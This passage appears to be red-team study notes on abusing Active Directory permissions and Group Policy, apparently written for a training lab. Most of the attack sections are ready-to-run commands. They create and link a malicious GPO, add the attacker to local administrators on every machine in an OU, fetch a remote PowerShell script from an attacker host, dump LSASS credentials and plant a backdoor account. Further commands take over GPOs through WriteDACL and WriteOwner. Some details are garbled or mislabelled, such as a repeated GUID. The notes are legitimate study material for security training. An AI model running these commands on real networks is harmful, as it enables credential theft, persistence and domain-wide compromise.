
                   ├─ Apply to OU itself

                   │

                   ├─ INHERIT DOWN (unless blocked)

                   │     ├─ Child OUs

                   │     ├─ Computers

                   │     ├─ Users

                   │     ├─ Groups

                   │     └─ Other objects

                   │

                   └─ Inheritance Type:

                       ├─ "This object and all descendant objects"

                       │   (DEFAULT - most permissive)

                       │

                       ├─ "This object only"

                       │   (NO inheritance)

                       │

                       └─ "All descendant objects"

                           (Child objects only, not OU itself)

Key Rule: Unless an OU has “Protect from inheritance” enabled, ALL permissions granted on parent OU flow down to children automatically.

GENERIC RIGHTS

1A. GenericAll (Full Control)

OU-Level Permission:

Grants: All operations on the OU object itself

- Read all properties

- Modify all properties

- Delete the OU

- Change permissions

- Change owner

- Create child objects

Inheritance to Child Objects:

✓ YES - ALL children inherit GenericAll

  ├─ Computers  → Can reset passwords, modify all properties

  ├─ Users      → Can reset passwords, modify all properties

  ├─ Groups     → Can modify membership, properties

  └─ Child OUs  → Full control of child OUs recursively

Affected Objects:

• ✓ All users in OU and child OUs

• ✓ All computers in OU and child OUs

• ✓ All groups in OU and child OUs

• ✓ All child OUs (recursively)

1B. GenericRead

OU-Level Permission:

Grants: Read all properties on OU

- Cannot modify

- Cannot delete

- Cannot create

Inheritance to Child Objects:

✓ YES - Children inherit read rights

  ├─ Can read all properties of users/computers/groups

  ├─ Can enumerate OU contents

  └─ Cannot modify anything

Affected Objects:

• ✓ Can read all user properties

• ✓ Can read all computer properties

• ✓ Can read all group properties

• ✓ Can enumerate memberships

2. PROPERTY-SPECIFIC WRITE RIGHTS

2A. GenericWrite

OU-Level Permission:

Grants: Write all non-schema properties

- Modify all non-system attributes

- Cannot reset passwords directly

- Cannot modify permissions (needs WriteDacl)

Inheritance to Child Objects:

✓ YES - ALL children inherit GenericWrite

  ├─ Users → Modify scriptPath, homeDirectory, etc.

  ├─ Computers → Modify delegated rights, DNS names

  ├─ Groups → Modify descriptions, managedBy

  └─ Child OUs → Modify properties

Affected Objects:

• ✓ All users in OU

• ✓ All computers in OU

• ✓ All groups in OU

• ✓ All child OUs

2B. WriteProperty (Specific Attribute)

OU-Level Permission:

Grants: Write to specific attributes only (e.g., mail, telephone)

- Very granular permission

- Inheritance depends on what property

Inheritance to Child Objects:

✓ YES - Inheritance applies to the specific property

  ├─ Can write that property on all children

  ├─ Cannot write other properties

  └─ If property is "scriptPath" → RCE

3. DEFERENTIAL RIGHTS (Change Control & Ownership)

3A. WriteDacl (Modify Permissions)

OU-Level Permission:

Grants: Modify the ACL on the OU

- Add/remove permissions

- Grant yourself Full Control

- Grant others permissions

Inheritance to Child Objects:

✓ YES - Can modify ACLs on all children

  ├─ Users → Grant yourself Reset Password right

  ├─ Computers → Grant yourself Full Control

  ├─ Groups → Grant yourself modify right

  └─ Child OUs → Modify their ACLs recursively

Affected Objects:

• ✓ All users (grant yourself reset password)

• ✓ All computers (grant yourself full control)

• ✓ All groups (grant yourself modify membership)

• ✓ All child OUs (recursive ACL modification)

3B. WriteOwner (Change Owner)

OU-Level Permission:

Grants: Change the owner of the OU

- Owner has implicit Full Control

- Change owner to yourself → Full Control

Inheritance to Child Objects:

✓ YES - Can change owner of all children

  ├─ Users → Become owner → Full Control

  ├─ Computers → Become owner → Full Control

  ├─ Groups → Become owner → Full Control

  └─ Child OUs → Become owner → Full Control recursively

Affected Objects:

• ✓ All users in OU

• ✓ All computers in OU

• ✓ All groups in OU

• ✓ All child OUs

4. OBJECT CREATION & DELETION RIGHTS

4A. CreateChild

OU-Level Permission:

Grants: Create child objects in the OU

- Can create users, computers, groups

- Cannot modify existing objects

Inheritance to Child Objects:

✓ YES (in a specific way) - Can create children inside child OUs

  ├─ OU level: Can create objects in this OU

  ├─ Child OUs: Can create objects inside child OUs

  └─ Inheritance type: "This object and all descendant objects"

Affected Objects:

• ✓ Can create anywhere in OU and child OUs

• ✓ Creates can be given arbitrary properties/memberships

• ✓ No restrictions on what you create

5. EXTENDED RIGHTS (Special Capabilities)

5A. ExtendedRight - Reset Password

OU-Level Permission:

Grants: Reset passwords for all users in OU

- Can set new password

- User doesn't need to know old password

- Requires explicit Extended Right GUID

GUID: 00299570-246d-11d0-a768-00aa006e0529

Inheritance to Child Objects:

✓ YES - Can reset passwords on all children

  ├─ Users in OU → Password reset

  ├─ Users in child OUs → Password reset

  └─ Non-inherited: Doesn't apply to computers/groups

Affected Objects:

• ✓ All users in OU and child OUs

• ✗ Does NOT affect computers or groups directly

5B. ExtendedRight - Force Change Password

OU-Level Permission:

Grants: Force user to change password at next logon

- User can't use account until password changed

- Attacker doesn't know the new password

- Used for DoS or forcing re-authentication

GUID: 00299570-246d-11d0-a768-00aa006e0529 (combined with Reset)

5C. ExtendedRight - SendTo

OU-Level Permission:

Grants: Send messages to the object (Exchange-related)

- Rarely used in pure AD

- More relevant in Exchange environments

5D. ExtendedRight - Add/Remove Self as Member

OU-Level Permission:

Grants: Add yourself to groups in OU

- Can self-add to any group

GenericAll / Write on OU

🧠 1. What GenericWrite on OU Actually Means

🔐 GenericWrite = Attribute-level control

• You cannot fully control the OU

• But you can modify specific attributes of the OU

👉 One critical attribute:

gPLink

GPO

├── GPC (AD Object)

└── GPT (SYSVOL Files)

🧠 2. What is gPLink?

📌 Definition

gPLink = attribute that defines which GPOs are linked to an OU

• OU doesn’t directly enforce policies

• It links to GPOs, and those GPOs apply to:

  • Users inside OU
  • Computers inside OU

🧠 Mental Model

OU → (gPLink) → GPO → Applies to → Users & Computers

👉 So if you control gPLink, you control what policies apply

🔥 3. Why GenericWrite on OU is Dangerous

Even without full control:

👉 If you can modify gPLink

→ You can attach a malicious GPO

→ That GPO executes actions on all child objects

💻 🧪 Scenario: GenericWrite on OU → gPLink Abuse

🎯 Lab Setup

• Attacker user: attacker

• Target OU: OU=IT,DC=domain,DC=local

• Inside OU:

  • Users: john, admin1
  • Computers: IT-PC01

👉 You have:

GenericWrite → OU=IT

🧠 Attack Goal

Abuse gPLink → Link malicious GPO → Execute code on all OU machines

⚔️ Step 1: Verify Access (BloodHound / PowerView)

PowerView check:

Get-ObjectAcl -Identity "OU=IT,DC=domain,DC=local" -ResolveGUIDs

🔍 Output (snippet):

IdentityReference : DOMAIN\attacker

ActiveDirectoryRights : GenericWrite

ObjectDN : OU=IT,DC=domain,DC=local

✅ Confirms you can modify OU attributes (including gPLink)

⚔️ Step 2: Create Malicious GPO

New-GPO -Name "evilGPO"

✔ Output:

DisplayName      : evilGPO

Id               : 6f3c1b44-9d8e-4b1c-92c2-123456789abc

GpoStatus        : AllSettingsEnabled

⚔️ Step 3: Modify GPO to Execute Payload

Example: Add startup script

Set -GPStartupScript -Name "evilGPO" -ScriptName "shell.bat" -ScriptParameters""

Example payload (shell.bat)

net localgroup administrators attacker /add

👉 Effect:

• Any machine in OU → attacker becomes local admin

⚔️ Step 4: Link GPO to OU (gPLink Abuse)

New-GPLink -Name "evilGPO" -Target "OU=IT,DC=domain,DC=local"

🔍 What happens internally:

gPLink attribute updated:

[LDAP://CN={GPO-GUID},CN=Policies,CN=System,...]

⚔️ Step 5: Wait for Policy Application

Force update (if you have access):

gpupdate/force

🖥️ On victim machine:

whoami /groups

✔ Output:

BUILTIN\Administrators

DOMAIN\attacker

🔥 You are now local admin on all machines in OU

💥 Alternate Payloads

🎯 1. Reverse Shell

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"

🎯 2. Dump Credentials

rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full

🎯 3. Persistence

net user backdoor Pass@123 /add

net localgroup administrators backdoor /add

🔄 Step 6: Domain Escalation Path

Once you get local admin:

Local Admin → Dump creds → Lateral movement → Domain Admin

🧠 Real Attack Chain

GenericWrite (OU)

    ↓

Modify gPLink

    ↓

Link malicious GPO

    ↓

Code execution on machines

    ↓

Local admin access

    ↓

Credential dump

    ↓

Domain compromise

🚨 Detection Example

🔍 Event ID 5136 (Directory Change)

Attribute Modified: gPLink

Object: OU=IT,DC=domain,DC=local

🔍 GPO Link Event

New GPO linked: evilGPO

Target: OU=IT

🔍 Endpoint Alert

• Multiple machines executing:

net localgroup administrators attacker /add

🧠 Key Takeaway

You didn’t exploit machines directly.

You modified policy →

Policy executed for you →

Machines compromised themselves.

🔥 Clean One-Liner

GenericWrite on OU → control gPLink → push malicious GPO → mass compromise

GPO Abuse

Understanding The Core Concept

🔐 Group Policy in Active Directory (AD)

In a Windows domain environment, Group Policy is a framework for centralized management and configuration of operating systems, applications, and user settings.

Instead of having to manually configure each machine or user account, you define settings once, and AD pushes them out automatically.

Think of it like a remote control panel for every domain-joined computer and user in your organization.

2. Scope of Group Policy

Group Policy settings apply either to computers or to users — but not both at the same time for a single policy setting.

📌 When a computer starts up, computer policies apply.

When a user logs in, user policies apply.

3. What is a GPO (Group Policy Object)?

A GPO is the container for all these policy settings.

GPO stands for Group Policy Object.

It’s a set of rules and configurations in Active Directory that control how users and computers behave in a Windows domain.

Think of it like a file that holds a bunch of rules.

Example:

• A GPO named “Password Policy” might include:
  • Minimum password length = 12
  • Password must include numbers and symbols

Where GPOs Live:

• Two parts:
  1. Group Policy Container (GPC) — stored in Active Directory
     • Holds metadata: version numbers, GPO links, security filtering.
  2. Group Policy Template (GPT) — stored in SYSVOL (shared folder on Domain Controllers)
     • Holds the actual settings files: registry.pol, scripts, ADM templates, etc.

In above image APPLOCKER is the GPO

What Can a GPO Do?

• Configure security policies (e.g., password length, lockout time).

• Deploy software automatically.

• Run scripts on logon/logoff/startup/shutdown.

• Restrict access to system tools.

• Configure firewall, RDP, and service settings.

Inshort:

Group Policy = the concept (rules)

GPO = the object (container holding those rules)

4. Linking GPOs

You can link a GPO to three main AD container levels:

1. Domain — affects all users/computers in the domain.

2. Site — affects all users/computers in a physical site.

3. Organizational Unit (OU) — affects only those in that OU (and sub-OUs).

Example:

• If you link a GPO to Sales OU, only the Sales department users/computers get those policies.

5. Organizational Units (OUs)

• OUs (Organizational Units) are containers within a domain used to organize users, computers, and groups.

• An OU is the lowest-level container where you can apply GPOs.

• They are also used for delegating administration — you can allow certain IT staff to manage only a specific OU (e.g., only “HR Department” computers).

• This helps split responsibilities and prevent one admin from having full domain control.

Note:- all student user account are in the default “Users” container of the DOLLARCORP.MONEYCORP.LOCAL domain, not in an Organizational Unit (OU).

You only get GPOs that are linked to the domain or site. OU-specific policies won’t affect you because you are in the default Users container and you are not part of any OU.

6. Security Implications — Why GPOs Matter in Attacks

Legit use: They centralize management — admins can roll out changes to hundreds or thousands of machines in seconds.

Misconfigured GPOs are a goldmine for attackers because:

• If a user can modify a GPO linked to systems they don’t own → they can push malicious settings.

• GPOs can run scripts automatically → an attacker can drop a startup script to execute malware on many systems at once.

• Attackers can modify security settings (e.g., add themselves to “Local Administrators” group) through GPO.

• They can be used for persistence (stay hidden even after account resets).

Common Attack Scenarios

💡In short:

GPOs are Active Directory’s remote control for configuring and enforcing policies on domain-joined systems. Great for admins, terrifying when misused.

✅ In short:

• Group Policy = Centralized configuration system for AD environments.

• GPO = A package of policy settings, permissions, and scope.

• OU = The smallest AD container for applying GPOs and delegating admin rights.

• Security risk = If permissions are too open, GPOs can be abused for privesc, persistence, and mass compromise.

🏗️ How Group Policy Works

• Admins create/edit GPOs (Group Policy Objects) using Group Policy Management Console (GPMC).

• Edit the GPO and configure desired settings (user policies, computer policies).

• Link/apply the GPO to a site, domain, or OU (Organizational Units) where the target users/computers reside.

• The Group Policy Client on each computer downloads and applies the policies periodically (every 90 minutes by default).

• You can force it using gpupdate /force.

Real-World Use Case in AD Environment

• Company wants to enforce password complexity → set it in a domain GPO.

• Disable access to USB ports for all interns → apply a GPO to the “Interns OU”.

• Map a shared drive (Z:) for all users → set it in User Configuration > Preferences > Drive Maps.

⚠️ Group Policy as an Attack Vector

GPOs can be abused by attackers for:

• Privilege Escalation – Add accounts to privileged groups via GPO.

• Persistence – Use logon/startup scripts to run backdoors or malware.

• Backdoors – Push malicious scheduled tasks or tools across endpoints.

• Security Bypass – Disable antivirus, firewall, or auditing logs.

🧠 Example: An attacker with GPO edit access adds a PowerShell payload to a logon script, compromising all systems in the targeted OU.

Note:- Using the command line tool from powerview you can list group policies, but you cannot list the settings

Get list of GPO in current domain.

Get-DomainGPO 

Lists all Group Policy Objects (GPOs) in the current domain.

Filter the output to only shows the Group Policy Objects name:

Get-DomainGPO  |  select DisplayName     

you can only view the GPO name but cannot view the policies being applied by each GPO, eg: you cannot view the policies applied by applocker

Note: - Tools like GP result or RSOP can only show group policy of current machine and not of remote machine

Get a Specific GPO’s Details:

Get-DomainGPO -Identity "DevOps Policy"

Output (example):

displayname       : DevOps Policy

gpcfilesyspath    : \\corp.local\SysVol\corp.local\Policies\{0BF8D01C-1F62-4BDC-958C-57140B67D147}

objectguid        : 0bf8d01c-1f62-4bdc-958c-57140b67d147

whencreated       : 7/01/2025 02:34:56 PM

whenchanged       : 8/05/2025 09:15:12 AM

versionnumber     : 12

distinguishedname : CN={0BF8D01C-1F62-4BDC-958C-57140B67D147},CN=Policies,CN=System,DC=corp,DC=local

• gpcfilesyspath is the path where the GPO’s settings files live — critical for GPOddity abuse.

• distinguishedname is the LDAP path for AD metadata.

Get-DomainGPO -ComputerIdentity dcorp-student1 → **Shows only the GPOs that apply to a specific computer, such as dcorp-student1.

Get GPO(s) which use Restricted Groups or groups.xml for interesting users:

**Get-DomainGPOLocalGroup**        ** 

This command finds Group Policy Objects (GPOs) that modify local group memberships, such as adding users to the local Administrators on domain-joined machines.

It specifically looks for:

• Restricted Groups

• Groups.xml (used by Group Policy Preferences)

These are methods used by admins (and sometimes attackers) to add or remove users/groups from local groups, especially local Administrators.

Why It Matters (Red Team Perspective):

An attacker with write access to a GPO can use it to:

• Add themselves (or another user) to the Administrators group on all systems where the GPO is applied.

• Achieve stealthy privilege escalation or persistence without touching the machine directly.

Example:

• There is an Organizational Unit (OU) named Workstation, which contains 100 domain-joined devices.

• Due to security compliance, enabling or managing local Administrator accounts manually on each of the 100 devices is not feasible or allowed.

• So, a new Group Policy Object (GPO) is created called Workstation-Admin.

• This GPO uses Restricted Groups to:

  • Modify the local Administrators group on all devices in the Workstation OU.
  • Add a specific domain group, e.g., CORP\WorkstationAdminGroup, to the Administrators group on each workstation.

• This GPO is linked to the Workstation OU, which means it will be enforced on all 100 devices within the OU.

• As a result, any user added to CORP\WorkstationAdminGroup will now have local admin rights on all 100 systems.

Domain Enumeration - GPO

1. Get users which are in a local group of a machine using GPO:

 Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity dcorp-student1 

This command checks which users or groups are being added to the local groups (like Administrators) on a specific machine (dcorp-student1) via Group Policy.

🔍 How it works:

• It analyzes GPOs applied to the target machine.

• Especially looks at GPOs that use Restricted Groups or Groups.xml to assign users to local groups.

• Shows what local group modifications are happening through GPOs (not manually set).

1. Get machines where the given user is member of a specific group:

Get-DomainGPOUserLocalGroupMapping -Identity student1 -Verbose

✅ Purpose:

This command finds which machines a specific user (e.g., student1) is being added to local groups on, through Group Policy.

🔍 How it works:

• It maps GPOs that add the specified user to local groups on various computers.

• Helps track where this user has elevated permissions via GPO.

📌 Use case:

You want to find out:

👉 “On which machines does student1 get local admin or group access via GPO?”

🔐 Why This Is Important for Red Teaming:

• These mappings often reveal privileged access across systems.

• If a GPO adds a user to the local Administrators group on 100 machines, that GPO (or the user) is an attractive lateral movement or privilege escalation target.

• Attackers can look for misconfigured or overly permissive GPOs that give unintended admin rights.

Abuse Logic

🔐 What Rights Are Needed for GPO Abuse?

To abuse a GPO, you need write-level control over it.

✅ Common Abusable Rights

🔥 SCENARIO 1 — GenericAll (DIRECT CONTROL)

🎯 Situation

You are:

domain\user1

BloodHound shows:

user1 → GenericAll → "Workstation GPO"

💣 What You Do

👉 You already have full control → no setup needed

Run:

SharpGPOAbuse.exe --AddComputerScript \

--ScriptName addadmin.bat \

--ScriptContents "net localgroup administrators user1 /add" \

--GPOName "Workstation GPO"

⚙️ What Happens Internally

• Script gets added in:

\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\

• GPO is updated to execute it

💀 Result

After GPO refresh:

user1 becomes LOCAL ADMIN on all machines in that GPO

🧠 Key Understanding

👉 You directly changed the GPO → instant abuse

🔥 SCENARIO 2 — GenericWrite (MODIFY SETTINGS)

🎯 Situation

user1 → GenericWrite → "Workstation GPO"

⚠️ Important Difference

👉 You can modify GPO settings, but not full control like GenericAll

💣 What You Do

Step 1 — Add script reference in GPO

You modify GPO attribute to say:

Run this script at startup → evil.bat

Step 2 — Place your script in SYSVOL

echo net localgroup administrators user1 /add > evil.bat

Put it in:

\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\

⚙️ What Happens

• GPO now points to your script

• Machines execute it

💀 Result

Same:

user1 → local admin everywhere

🧠 Key Difference

👉 You didn’t fully control GPO

👉 You modified its behavior

🔥 SCENARIO 3 — WriteDACL (PERMISSION ESCALATION)

🎯 Situation

user1 → WriteDACL → "Workstation GPO"

🧠 What This Means

👉 You CANNOT modify GPO yet

But you CAN:

Change who has permissions

💣 What You Do

Step 1 — Give yourself full control

Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \

-PrincipalIdentity user1 \

-Rights All

Step 2 — Now you have:

user1 → GenericAll → GPO

Step 3 — Abuse like Scenario 1

SharpGPOAbuse.exe ...

💀 Result

Same:

Code execution → local admin everywhere

🧠 Key Understanding

👉 WriteDACL = “I can give myself power”

🔥 SCENARIO 4 — WriteOwner (TAKE OWNERSHIP)

🎯 Situation

user1 → WriteOwner → "Workstation GPO"

🧠 What This Means

👉 You can change:

OWNER of the GPO

💣 What You Do

Step 1 — Become owner

Set-DomainObjectOwner -Identity "Workstation GPO" \

-OwnerIdentity user1

Step 2 — As owner → change permissions

Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \

-PrincipalIdentity user1 \

-Rights All

Step 3 — Now you have:

GenericAll

Step 4 — Abuse like Scenario 1

💀 Result

Same final impact

🧠 Key Understanding

👉 Owner = ultimate control over permissions

🔥 FINAL COMPARISON (SUPER IMPORTANT)